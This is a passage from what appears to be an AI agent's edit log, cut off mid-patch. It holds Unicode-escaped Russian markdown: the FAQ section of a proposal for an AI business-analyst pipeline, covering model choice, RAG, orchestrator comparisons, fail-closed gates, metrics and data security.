\u0434\u0435\u043b\u0430\u0435\u043c: \u043d\u0435 \u0441\u0442\u0440\u043e\u0438\u043c \u044f\u0434\u0440\u043e \u043d\u0430 low-code \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u0445 \u0438 \u043d\u0435 \u043e\u0442\u0434\u0430\u0451\u043c\\n  \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0430\u0433\u0435\u043d\u0442\u0443.\\n\\n**\u0417\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0435:** \u00ab\u041c\u044b \u043f\u0440\u043e\u0441\u0438\u043c \u043d\u0435 \u0431\u044e\u0434\u0436\u0435\u0442 \u043d\u0430 \u0418\u0418-\u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430, \u0430 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0443 \u0434\u043b\u044f\\n\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438\u0437\u043c\u0435\u0440\u0438\u043c\u043e\u0439 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b. \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439, \u043f\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043c\u044b \u043f\u0440\u0438\u0437\u043d\u0430\u0435\u043c \u0435\u0451\\n\u043e\u0448\u0438\u0431\u043e\u0447\u043d\u043e\u0439, \u0443\u0436\u0435 \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u00bb.\\n\\n---\\n\\n## \u041e\u0442\u0432\u0435\u0442\u044b \u043d\u0430 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u044b\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u044b\\n\\n### \u00ab\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 \u0432\u0437\u044f\u0442\u044c \u043c\u043e\u0434\u0435\u043b\u044c \u043c\u043e\u0449\u043d\u0435\u0435?\u00bb\\n\\n\u041c\u043e\u0434\u0435\u043b\u044c \u043c\u0435\u043d\u044f\u0435\u0442 \u0447\u0430\u0441\u0442\u043e\u0442\u0443 \u043e\u0448\u0438\u0431\u043e\u043a, \u043d\u043e \u043d\u0435 \u0438\u0445 \u043a\u043b\u0430\u0441\u0441. \u0412\\n[A/B-\u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/report/2026-09-01-run-0065-vs-0066-ab-rca.md)\\n\u043d\u0430 \u043e\u0434\u043d\u0438\u0445 \u0438 \u0442\u0435\u0445 \u0436\u0435 65 \u0441\u0442\u0440\u043e\u043a\u0430\u0445 \u043e\u0434\u043d\u0430 \u043c\u043e\u0434\u0435\u043b\u044c \u0434\u0430\u043b\u0430 43.1% \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445\\n\u043d\u043e\u043c\u0435\u0440\u043e\u0432 \u0441\u0442\u0440\u0430\u043d\u0438\u0446, \u0434\u0440\u0443\u0433\u0430\u044f \u2014 0%. \u041d\u043e \u043a\u043e\u0440\u043d\u0435\u0432\u0430\u044f \u043f\u0440\u0438\u0447\u0438\u043d\u0430 \u0431\u044b\u043b\u0430 \u043d\u0435 \u0432 \u043c\u043e\u0434\u0435\u043b\u0438: \u043d\u043e\u043c\u0435\u0440\u0430\\n\u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0441\u044c \u0432 \u0440\u0443\u0447\u043d\u043e\u0439 \u0442\u0430\u0431\u043b\u0438\u0446\u0435, \u0430 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b \u0444\u043e\u0440\u043c\u0430\u0442 \u0441\u0441\u044b\u043b\u043a\u0438, \u0430 \u043d\u0435\\n\u0435\u0451 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435. \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u0442\u043e\u0433\u043e,\\n\u043a\u0430\u043a\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c \u0441\u0442\u043e\u0438\u0442 \u0437\u0430 \u0448\u0430\u0433\u043e\u043c. \u0422\u043e\u0433\u0434\u0430 \u0441\u043c\u0435\u043d\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 \u2014 \u0432\u043e\u043f\u0440\u043e\u0441 \u0446\u0435\u043d\u044b \u0438 \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u0438, \u0430\\n\u043d\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439.\\n\\n### \u00ab\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 RAG \u0438\u043b\u0438 fine-tuning?\u00bb\\n\\nRAG \u0440\u0435\u0448\u0430\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0437\u043d\u0430\u043d\u0438\u044f\u043c, \u0438 \u043e\u043d \u0432 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0435 \u0435\u0441\u0442\u044c \u2014 \u044d\u0442\u043e \u0448\u0430\u0433 \u0441\u0432\u0435\u0440\u043a\u0438. \u041d\u043e \u0438\u0437\\n\u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0434\u0438\u043d \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438. \u0413\u0440\u0430\u043d\u0438\u0446\u044b\\n\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438 \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u2014 \u043d\u0435 \u043f\u0440\u043e\\n\u043f\u043e\u0438\u0441\u043a. \u0414\u043b\u044f fine-tuning \u043d\u0443\u0436\u0435\u043d \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440, \u0430 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 17\\n\u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430\u043c\u0438: \u0447\u0438\u0441\u0442\u044b\u0445 \u043e\u0431\u0440\u0430\u0437\u0446\u043e\u0432 \u043d\u0435\u0442, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u043e\u043b\u043e\u0442\u043e\u0439 \u043d\u0430\u0431\u043e\u0440 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0441\u044f\\n\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442, \u043f\u043e\u0442\u043e\u043c \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435 \u043d\u0430 \u043d\u0451\u043c.\\n\\n### \u00ab\u0427\u0435\u043c \u044d\u0442\u043e \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 LangGraph, n8n, Dify?\u00bb\\n\\n\u041c\u044b [\u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043b\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md).\\nDify, Flowise, Temporal \u0438 Camunda \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u044b \u043a\u0430\u043a \u044f\u0434\u0440\u043e. n8n \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c \u0442\u043e\u043b\u044c\u043a\u043e\\n\u043a\u0430\u043a \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430: \u0433\u0440\u0430\u0444 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c \u0431\u044b \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u044b\u0432\u0430\u0442\u044c, \u0443\u0437\u0435\u043b AI Agent\\n\u043d\u0435\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d, \u0430 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0443 n8n \u0431\u044b\u043b\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\\nCVE-2026-21858 \u0441 CVSS 10.0. LangGraph \u043f\u043e\u0434 \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0435\u0439 MIT \u2014 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442 \u043d\u0430 \u0431\u043e\u043b\u0435\u0435\\n\u043f\u043e\u0437\u0434\u043d\u0438\u0439 \u044d\u0442\u0430\u043f \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b, \u043d\u043e \u043d\u0435 \u0441\u0435\u0439\u0447\u0430\u0441: \u043d\u0430\u0448 \u0433\u0440\u0430\u0444 \u0438\u0437 15 \u0443\u0437\u043b\u043e\u0432 \u043f\u0440\u043e\u0449\u0435\\n\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0432 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u043c \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0435.\\n\\n### \u00ab\u041d\u0435 \u0441\u0442\u0430\u043d\u0435\u0442 \u043b\u0438 fail-closed \u0442\u043e\u0440\u043c\u043e\u0437\u043e\u043c \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430?\u00bb\\n\\n\u041e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u2014 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u0441\u043e\u0431\u044b\u0442\u0438\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430, \u0430 \u043d\u0435 \u0430\u0432\u0430\u0440\u0438\u044f: \u0448\u0430\u0433 \u0437\u0430\u0434\u0430\u0451\u0442 \u0432\u043e\u043f\u0440\u043e\u0441, \u0430\\n\u043d\u0435 \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u0435\u0442. \u0427\u0442\u043e\u0431\u044b \u044d\u0442\u043e \u043d\u0435 \u043f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u043b\u043e\u0441\u044c \u0432 \u0431\u044e\u0440\u043e\u043a\u0440\u0430\u0442\u0438\u044e, \u0432 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439\\n\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u043f\u0440\u044f\u043c\u043e \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u043e: \u0435\u0441\u043b\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0442\u0440\u0430\u0442\u0438\u0442 \u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u043e\u043b\u044c\u0448\u0435\\n\u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435, \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f. \u041f\u0443\u0441\u0442\u044b\u0435 \u0441\u043b\u043e\u0442\u044b \u0441\\n\u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u0438\u0437\u043c\u0435\u0440\u044f\u044e\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u043c\u0435\u0442\u0440\u0438\u043a\u043e\u0439 `M-5`.\\n\\n### \u00ab\u041a\u0430\u043a \u0432\u044b \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e, \u0435\u0441\u043b\u0438 evals \u043d\u0435 \u0431\u044b\u043b\u043e?\u00bb\\n\\n\u0411\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u0441\u043d\u044f\u0442\u0430 \u0434\u043e \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f: `M-1 = 0.0` \u0438 6% \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0431\u0435\u0437\\n\u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u0438. \u041c\u0435\u0442\u0440\u0438\u043a\u0438 `M-1`\u2026`M-5` \u0438\u0437\u043c\u0435\u0440\u044f\u044e\u0442 \u043f\u0440\u043e\u0433\u043e\u043d \u043f\u0430\u043a\u0435\u0442\u0430. \u041f\u043e\u0440\u043e\u0433\\n\u0443\u0441\u043f\u0435\u0445\u0430 \u0441\u0440\u0435\u0437\u0430 \u0437\u0430\u0434\u0430\u043d \u0437\u0430\u0440\u0430\u043d\u0435\u0435: \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430 100% \u0438 \u0437\u0430\u043c\u0435\u0442\u043d\u044b\u0439 \u0440\u043e\u0441\u0442 `M-1` \u043f\u0440\u0438\\n\u043d\u0435\u043d\u0443\u043b\u0435\u0432\u043e\u0439 \u0434\u043e\u043b\u0435 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0445 \u043e\u0442\u043a\u0430\u0437\u043e\u0432.\\n\\n### \u00ab\u041d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043c\u043e\u0436\u043d\u043e \u0432\u0435\u0440\u0438\u0442\u044c \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0435 69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432?\u00bb\\n\\n\u041c\u0435\u0442\u0440\u0438\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0441\u0430\u043c\u0438, \u2014 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u0438\u0432\u043d\u044b: \u0444\u043e\u0440\u043c\u0430\u0442\u044b \u0440\u0430\u0437\u043d\u044b\u0435, \u0432\\n\u043e\u0434\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0442\u043e\u043a\u0435\u043d\u044b, \u043f\u043e\u0445\u043e\u0436\u0435, \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0438\u0437 \u0434\u0440\u0443\u0433\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u0435 \u043d\u0430 \u0441\u0430\u043c\u043e\u043e\u0446\u0435\u043d\u043a\u0443, \u0430 \u043d\u0430 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b: \u0432\u0445\u043e\u0434\u044b,\\n\u0432\u044b\u0445\u043e\u0434\u044b, \u0434\u0438\u0430\u043b\u043e\u0433\u0438 \u0438 \u043f\u0440\u0430\u0432\u043a\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430. \u0413\u0434\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u043d\u0435\u0442, \u044d\u0442\u043e \u043f\u043e\u043c\u0435\u0447\u0435\u043d\u043e \u043a\u0430\u043a \u043f\u0440\u043e\u0431\u0435\u043b.\\n\\n### \u00ab\u0427\u0442\u043e \u0441 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e \u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438?\u00bb\\n\\n\u041c\u043e\u0434\u0435\u043b\u044c \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0435: Mango AI \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c\u0443 API.\\n\u041a\u043b\u044e\u0447\u0438 \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u044e\u0442 \u0432 Git, \u0447\u0430\u0442 \u0438\u043b\u0438 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u044b. \u0411\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u044b\\n\u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f. \u0414\u043e\u0441\u0442\u0443\u043f \u043a Jira \u0438 Confluence \u0447\u0435\u0440\u0435\u0437 MCP\\n\u0432\u044b\u0434\u0430\u0451\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e, \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u044f. \u0410\u0433\u0435\u043d\u0442\u0443 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e\\n\u043c\u0435\u043d\u044f\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b, \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u044b \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0432\u043d\u0443\u0442\u0440\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430.\\n\\n### \u00ab\u041d\u0435 \u0441\u0442\u0430\u043d\u0435\u0442 \u043b\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u043d\u0430 \u0433\u0435\u0439\u0442\u0435 \u0443\u0437\u043a\u0438\u043c \u043c\u0435\u0441\u0442\u043e\u043c?\u00bb\\n\\n\u0427\u0435\u043b\u043e\u0432\u0435\u043a \u0440\u0435\u0448\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u043e, \u0447\u0442\u043e \u043c\u0430\u0448\u0438\u043d\u0430 \u0440\u0435\u0448\u0438\u0442\u044c \u043d\u0435 \u043c\u043e\u0436\u0435\u0442: \u0441\u043c\u044b\u0441\u043b, \u0441\u043f\u043e\u0440\u043d\u044b\u0439 \u0432\u044b\u0431\u043e\u0440,\\n\u043f\u0440\u0438\u0451\u043c\u043a\u0443. \u041c\u0435\u0442\u0440\u0438\u043a\u0430 `M-3` \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0430\u0432\u043e\u043a \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u0432\u043d\u043e\u0441\u0438\u0442 \u043f\u043e\u0441\u043b\u0435\\n\u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430. \u0415\u0441\u043b\u0438 \u043e\u043d\u0430 \u043d\u0435 \u043f\u0430\u0434\u0430\u0435\u0442, \u0437\u043d\u0430\u0447\u0438\u0442, \u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0435 \u0442\u043e.\\n\\n### \u00ab\u0417\u0430\u0447\u0435\u043c \u0434\u0432\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0430, GigaCode CLI \u0438 Cline?\u00bb\\n\\n\u042d\u0442\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0441\u0440\u0435\u0434\u044b, \u0430 \u043d\u0435 \u0432\u044b\u0431\u043e\u0440 \u0432\u043a\u0443\u0441\u0430. \u0412 GigaCode CLI \u043d\u0435\u0442 API Mango AI, \u0430\\nCline \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441 Mango AI. Source \u043e\u0434\u0438\u043d, \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 \u043e\u0431\u0449\u0438\u0439, \u043f\u0430\u043a\u0435\u0442\u044b \u043e\u0442\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f\\n\u0430\u0434\u0430\u043f\u0442\u0435\u0440\u0430\u043c\u0438. \u0421\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u0430 \u0441\u043d\u0438\u043c\u0430\u0435\u0442 \u044d\u0442\u0443 \u0440\u0430\u0437\u0432\u0438\u043b\u043a\u0443: \u044f\u0434\u0440\u043e \u043e\u0434\u043d\u043e, \u043a\u043b\u0438\u0435\u043d\u0442 \u2014\\n\u0442\u043e\u043b\u044c\u043a\u043e \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430.\\n\\n### \u00ab\u0427\u0442\u043e \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043e, \u0430 \u0447\u0442\u043e \u043d\u0435\u0442?\u00bb\\n\\n\u0414\u043e\u043a\u0430\u0437\u0430\u043d\u043e: \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u043e\u0442\u0440\u0435\u0437\u043e\u043a \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d; fail-closed \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445\\n\u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0430\u043b\u043e \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u043d\u0438\u0435; \u043e\u0434\u0438\u043d \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f\\n\u0440\u0430\u0437\u043d\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432. \u041d\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043e: \u0441\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445 \u0432 \u0434\u0432\u0443\u0445\\n\u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445 \u2014 \u044d\u0442\u043e \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 gate\\n[RFC \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043d\u0430 \u043f\u0438\u043b\u043e\u0442\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-source-pilot-verification.md).\\n\u0421\u043c\u044b\u0441\u043b\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u043e\u043a\u0430 \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e \u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u043d\u0430 \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0430\u0446\u0438\u0438 \u043c\u043e\u0434\u0435\u043b\u0438:\\n\u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043e\u0442\u043c\u0435\u0442\u043a\u0438 \u00ab\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043d\u00bb, \u0430 \u043d\u0435 \u0435\u0451 \u0438\u0441\u0442\u0438\u043d\u043d\u043e\u0441\u0442\u044c.\\n\u042d\u0442\u043e \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0446\u0438\u0442\u0430\u0442\u044b \u043f\u043e \u0444\u0430\u0439\u043b\u0443 \u0431\u0430\u0437\u044b \u0437\u043d\u0430\u043d\u0438\u0439 \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c\\n\u0433\u0435\u0439\u0442\u043e\u043c.\\n\\n### \u00ab\u0421\u043a\u043e\u043b\u044c\u043a\u043e \u044d\u0442\u043e \u0441\u0442\u043e\u0438\u0442 \u0438 \u043a\u043e\u0433\u0434\u0430 \u0431\u0443\u0434\u0435\u0442 \u0433\u043e\u0442\u043e\u0432\u043e?\u00bb\\n\\n\u0418\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u0439 \u043e\u0446\u0435\u043d\u043a\u0438 \u0442\u0440\u0443\u0434\u043e\u0437\u0430\u0442\u0440\u0430\u0442 \u043d\u0435\u0442, \u0438 \u043c\u044b \u0435\u0451 \u043d\u0435 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u043c. \u0428\u0430\u0433 1 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\\n\u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0439 \u0418\u0411. \u0421\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u0421\u0440\u0435\u0434\u044b 4 \u0431\u0443\u0434\u0435\u0442 \u043e\u0446\u0435\u043d\u0435\u043d\u0430 \u0432\\nRFC \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b (B-218) \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0448\u0430\u0433 2 \u0434\u0430\u0441\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0437\u0430\u043c\u0435\u0440\u0430.\\n\",\n[2026-09-29T07:55:50.014Z] [INFO]     \"structuredPatch\": [\n[2026-09-29T07:55:50.014Z] [INFO]       {\n[2026-09-29T07:55:50.014Z] [INFO]         \"oldStart\": 383,\n[2026-09-29T07:55:50.014Z] [INFO]         \"oldLines\": 9,\n[2026-09-29T07:55:50.014Z] [INFO]         \"newStart\": 383,\n[2026-09-29T07:55:50.014Z] [INFO]         \"newLines\": 9,\n[2026-09-29T07:55:50.014Z] [INFO]         \"lines\": [\n[2026-09-29T07:55:50.014Z] [INFO]           \" ### \u00ab\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 RAG \u0438\u043b\u0438 fine-tuning?\u00bb\",\n[2026-09-29T07:55:50.014Z] [INFO]           \" \",\n[2026-09-29T07:55:50.014Z] [INFO]           \" RAG \u0440\u0435\u0448\u0430\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0437\u043d\u0430\u043d\u0438\u044f\u043c, \u0438 \u043e\u043d \u0432 